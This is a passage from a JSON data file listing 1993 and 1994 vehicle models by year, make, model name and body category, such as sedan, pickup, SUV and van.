"Category": "Pickup"
},
{
"Year": 1994,
"Make": "BMW",
"Model": "7 Series",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Astro Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "G-Series G10",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "3500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "S10 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Cadillac",
"Model": "Seville",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "G-Series G20",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Blazer",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "3500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Corvette",
"Category": "Hatchback, Convertible"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Caprice Classic",
"Category": "Sedan, Wagon"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Cadillac",
"Model": "Fleetwood",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "G-Series G30",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Beretta",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Camaro",
"Category": "Convertible, Hatchback"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Astro Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Corsica",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Lumina Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Cavalier",
"Category": "Sedan, Coupe, Wagon, Convertible"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Lumina",
"Category": "Sedan, Coupe"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Sportvan G30",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "S10 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Impala",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Lumina Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Sportvan G20",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "S10 Blazer",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Chrysler",
"Model": "LHS",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Chrysler",
"Model": "LeBaron",
"Category": "Sedan, Convertible"
},
{
"Year": 1994,
"Make": "Chevrolet",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Chrysler",
"Model": "Concorde",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Ram Van B250",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Ram Wagon B350",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Ram 3500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Caravan Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Ram 2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Ram 1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Colt",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Chrysler",
"Model": "New Yorker",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Chrysler",
"Model": "Town & Country",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Grand Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Dakota Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Dakota Club Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Intrepid",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Ram Van B150",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Ram Van B350",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Eagle",
"Model": "Talon",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Ram Wagon B150",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Stealth",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "F150 Super Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Shadow",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Bronco",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Club Wagon",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Aspire",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Eagle",
"Model": "Vision",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Explorer",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Spirit",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Viper",
"Category": "Convertible"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "F350 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Dodge",
"Model": "Ram Wagon B250",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Eagle",
"Model": "Summit",
"Category": "Sedan, Coupe, Wagon"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Econoline E250 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Aerostar Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "F250 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Crown Victoria",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Aerostar Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Escort",
"Category": "Hatchback, Sedan, Wagon"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "F250 Super Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "F150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Econoline E350 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "F350 Super Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Econoline E150 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "F350 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Probe",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Ranger Super Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Taurus",
"Category": "Sedan, Wagon"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Mustang",
"Category": "Coupe, Convertible"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Thunderbird",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Ranger Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Geo",
"Model": "Tracker",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "3500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Rally Wagon 2500",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "1500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Geo",
"Model": "Prizm",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Ford",
"Model": "Tempo",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Geo",
"Model": "Metro",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Jimmy",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "3500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Yukon",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "2500 Club Coupe",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Safari Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Rally Wagon 3500",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Vandura 1500",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Hyundai",
"Model": "Sonata",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Hyundai",
"Model": "Elantra",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Sonoma Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Isuzu",
"Model": "Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Sonoma Club Coupe Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Honda",
"Model": "Civic",
"Category": "Hatchback, Sedan, Coupe"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Vandura 3500",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Vandura 2500",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Honda",
"Model": "Prelude",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "INFINITI",
"Model": "J",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Suburban 2500",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "INFINITI",
"Model": "G",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "GMC",
"Model": "Safari Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Honda",
"Model": "del Sol",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Isuzu",
"Model": "Trooper",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Isuzu",
"Model": "Amigo",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "INFINITI",
"Model": "Q",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Hyundai",
"Model": "Scoupe",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Honda",
"Model": "Accord",
"Category": "Sedan, Coupe, Wagon"
},
{
"Year": 1994,
"Make": "Honda",
"Model": "Passport",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Jeep",
"Model": "Cherokee",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Hyundai",
"Model": "Excel",
"Category": "Hatchback, Sedan"
},
{
"Year": 1994,
"Make": "Isuzu",
"Model": "Rodeo",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Jaguar",
"Model": "XJ",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 1994,
"Make": "HUMMER",
"Model": "H1",
"Category": "SUV, Wagon"
},
{
"Year": 1994,
"Make": "Isuzu",
"Model": "Spacecab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Land Rover",
"Model": "Discovery",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Land Rover",
"Model": "Defender 90",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Lexus",
"Model": "SC",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Kia",
"Model": "Sephia",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Lexus",
"Model": "ES",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Land Rover",
"Model": "Range Rover",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Lexus",
"Model": "GS",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Lincoln",
"Model": "Mark VIII",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Lincoln",
"Model": "Town Car",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "MAZDA",
"Model": "323",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Lexus",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "MAZDA",
"Model": "929",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "MAZDA",
"Model": "MX-3",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "MAZDA",
"Model": "Navajo",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "MAZDA",
"Model": "626",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "MAZDA",
"Model": "MX-6",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 1994,
"Make": "Lincoln",
"Model": "Continental",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Mercury",
"Model": "Capri",
"Category": "Convertible"
},
{
"Year": 1994,
"Make": "MAZDA",
"Model": "RX-7",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "MAZDA",
"Model": "B-Series Cab Plus",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "MAZDA",
"Model": "Protege",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "MAZDA",
"Model": "B-Series Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "MAZDA",
"Model": "MPV",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Mercedes-Benz",
"Model": "S-Class",
"Category": "Sedan, Coupe"
},
{
"Year": 1994,
"Make": "Mercedes-Benz",
"Model": "E-Class",
"Category": "Coupe, Convertible, Wagon, Sedan"
},
{
"Year": 1994,
"Make": "Mercedes-Benz",
"Model": "C-Class",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Mitsubishi",
"Model": "Mighty Max Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Mitsubishi",
"Model": "Expo",
"Category": "Wagon"
},
{
"Year": 1994,
"Make": "Mitsubishi",
"Model": "Mighty Max Macro Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Mitsubishi",
"Model": "Precis",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Nissan",
"Model": "Sentra",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Mercury",
"Model": "Cougar",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Mercury",
"Model": "Grand Marquis",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Mercedes-Benz",
"Model": "SL-Class",
"Category": "Convertible"
},
{
"Year": 1994,
"Make": "Mitsubishi",
"Model": "3000GT",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Mercury",
"Model": "Topaz",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Mercury",
"Model": "Tracer",
"Category": "Wagon, Sedan"
},
{
"Year": 1994,
"Make": "Nissan",
"Model": "Pathfinder",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Nissan",
"Model": "Maxima",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Mitsubishi",
"Model": "Mirage",
"Category": "Sedan, Coupe"
},
{
"Year": 1994,
"Make": "Mitsubishi",
"Model": "Montero",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Mercury",
"Model": "Villager",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Mercury",
"Model": "Sable",
"Category": "Wagon, Sedan"
},
{
"Year": 1994,
"Make": "Mitsubishi",
"Model": "Diamante",
"Category": "Sedan, Wagon"
},
{
"Year": 1994,
"Make": "Mitsubishi",
"Model": "Galant",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Nissan",
"Model": "240SX",
"Category": "Convertible"
},
{
"Year": 1994,
"Make": "Mitsubishi",
"Model": "Eclipse",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Nissan",
"Model": "King Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Nissan",
"Model": "300ZX",
"Category": "Hatchback, Convertible"
},
{
"Year": 1994,
"Make": "Oldsmobile",
"Model": "Cutlass Supreme",
"Category": "Convertible, Sedan, Coupe"
},
{
"Year": 1994,
"Make": "Nissan",
"Model": "Altima",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Oldsmobile",
"Model": "Silhouette",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Plymouth",
"Model": "Laser",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Oldsmobile",
"Model": "Achieva",
"Category": "Sedan, Coupe"
},
{
"Year": 1994,
"Make": "Oldsmobile",
"Model": "Cutlass Ciera",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Plymouth",
"Model": "Grand Voyager",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Oldsmobile",
"Model": "98",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Oldsmobile",
"Model": "Cutlass Cruiser",
"Category": "Wagon"
},
{
"Year": 1994,
"Make": "Nissan",
"Model": "Quest",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Plymouth",
"Model": "Colt",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Plymouth",
"Model": "Acclaim",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Plymouth",
"Model": "Colt Vista",
"Category": "Wagon"
},
{
"Year": 1994,
"Make": "Oldsmobile",
"Model": "88",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Plymouth",
"Model": "Voyager",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Pontiac",
"Model": "Sunbird",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 1994,
"Make": "Oldsmobile",
"Model": "Bravada",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Nissan",
"Model": "Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Pontiac",
"Model": "Firebird",
"Category": "Convertible, Hatchback"
},
{
"Year": 1994,
"Make": "Subaru",
"Model": "Impreza",
"Category": "Sedan, Wagon"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "Supra",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Pontiac",
"Model": "Grand Am",
"Category": "Sedan, Coupe"
},
{
"Year": 1994,
"Make": "Subaru",
"Model": "Legacy",
"Category": "Sedan, Wagon"
},
{
"Year": 1994,
"Make": "Subaru",
"Model": "Loyale",
"Category": "Wagon"
},
{
"Year": 1994,
"Make": "Saab",
"Model": "9000",
"Category": "Hatchback, Sedan"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "T100 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "Camry",
"Category": "Coupe, Wagon, Sedan"
},
{
"Year": 1994,
"Make": "Suzuki",
"Model": "Sidekick",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Pontiac",
"Model": "Bonneville",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Pontiac",
"Model": "Trans Sport",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "Celica",
"Category": "Hatchback, Coupe"
},
{
"Year": 1994,
"Make": "Porsche",
"Model": "911",
"Category": "Coupe, Convertible"
},
{
"Year": 1994,
"Make": "Saturn",
"Model": "S-Series",
"Category": "Coupe, Sedan, Wagon"
},
{
"Year": 1994,
"Make": "Pontiac",
"Model": "Grand Prix",
"Category": "Sedan, Coupe"
},
{
"Year": 1994,
"Make": "Plymouth",
"Model": "Sundance",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "Tercel",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "4Runner",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "Previa",
"Category": "Van/Minivan"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "Land Cruiser",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Porsche",
"Model": "928",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Saab",
"Model": "900",
"Category": "Coupe, Hatchback, Convertible"
},
{
"Year": 1994,
"Make": "Subaru",
"Model": "SVX",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "Paseo",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "Regular Cab",
"Category": "Pickup"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "MR2",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Porsche",
"Model": "968",
"Category": "Coupe, Convertible"
},
{
"Year": 1994,
"Make": "Suzuki",
"Model": "Swift",
"Category": "Sedan, Hatchback"
},
{
"Year": 1994,
"Make": "Subaru",
"Model": "Justy",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Suzuki",
"Model": "Samurai",
"Category": "SUV"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "Corolla",
"Category": "Sedan, Wagon"
},
{
"Year": 1994,
"Make": "Volkswagen",
"Model": "Corrado",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Toyota",
"Model": "Xtra Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Cadillac",
"Model": "Allante",
"Category": "Convertible"
},
{
"Year": 1994,
"Make": "Volvo",
"Model": "940",
"Category": "Sedan, Wagon"
},
{
"Year": 1994,
"Make": "Volkswagen",
"Model": "Golf III",
"Category": "Hatchback"
},
{
"Year": 1994,
"Make": "Volvo",
"Model": "960",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Acura",
"Model": "NSX",
"Category": "Coupe"
},
{
"Year": 1994,
"Make": "Volkswagen",
"Model": "Jetta III",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Volkswagen",
"Model": "Passat",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Acura",
"Model": "Vigor",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Alfa Romeo",
"Model": "Spider",
"Category": "Convertible"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "2500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Buick",
"Model": "Skylark",
"Category": "Sedan, Coupe"
},
{
"Year": 1993,
"Make": "BMW",
"Model": "3 Series",
"Category": "Sedan, Coupe, Convertible"
},
{
"Year": 1993,
"Make": "Acura",
"Model": "Integra",
"Category": "Hatchback, Sedan"
},
{
"Year": 1993,
"Make": "Buick",
"Model": "Riviera",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Audi",
"Model": "S4",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Acura",
"Model": "Legend",
"Category": "Sedan, Coupe"
},
{
"Year": 1993,
"Make": "BMW",
"Model": "5 Series",
"Category": "Wagon, Sedan"
},
{
"Year": 1993,
"Make": "Audi",
"Model": "90",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Cadillac",
"Model": "Fleetwood",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Buick",
"Model": "Park Avenue",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "3500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Audi",
"Model": "Quattro",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Alfa Romeo",
"Model": "164",
"Category": "Sedan"
},
{
"Year": 1994,
"Make": "Volvo",
"Model": "850",
"Category": "Wagon, Sedan"
},
{
"Year": 1993,
"Make": "Buick",
"Model": "LeSabre",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "BMW",
"Model": "M5",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "BMW",
"Model": "8 Series",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Cadillac",
"Model": "DeVille",
"Category": "Coupe, Sedan"
},
{
"Year": 1993,
"Make": "Cadillac",
"Model": "Eldorado",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "BMW",
"Model": "7 Series",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Buick",
"Model": "Century",
"Category": "Sedan, Wagon, Coupe"
},
{
"Year": 1993,
"Make": "Buick",
"Model": "Regal",
"Category": "Sedan, Coupe"
},
{
"Year": 1993,
"Make": "Audi",
"Model": "100",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Cadillac",
"Model": "Sixty Special",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Buick",
"Model": "Roadmaster",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Cadillac",
"Model": "Seville",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "1500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Blazer",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "3500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "3500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Astro Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "2500 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Beretta",
"Category": "Coupe"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "S10 Blazer",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Camaro",
"Category": "Hatchback"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Sportvan G20",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "G-Series G10",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Corsica",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Caprice Classic",
"Category": "Sedan, Wagon"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Lumina APV",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Chrysler",
"Model": "Concorde",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Sportvan G10",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "S10 Extended Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "G-Series G20",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Lumina",
"Category": "Sedan, Coupe"
},
{
"Year": 1993,
"Make": "Chrysler",
"Model": "LeBaron",
"Category": "Coupe, Convertible, Sedan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Astro Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "APV Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Ram Van B250",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Caravan Cargo",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "D350 Club Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Suburban 1500",
"Category": "SUV"
},
{
"Year": 1993,
"Make": "Chrysler",
"Model": "Fifth Ave",
"Category": "Sedan"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Cavalier",
"Category": "Coupe, Sedan, Wagon, Convertible"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "Corvette",
"Category": "Hatchback, Convertible"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "D250 Club Cab",
"Category": "Pickup"
},
{
"Year": 1993,
"Make": "Chevrolet",
"Model": "G-Series G30",
"Category": "Van/Minivan"
},
{
"Year": 1993,
"Make": "Dodge",
"Model": "Colt",
"Category": "Sedan, Coupe"
},
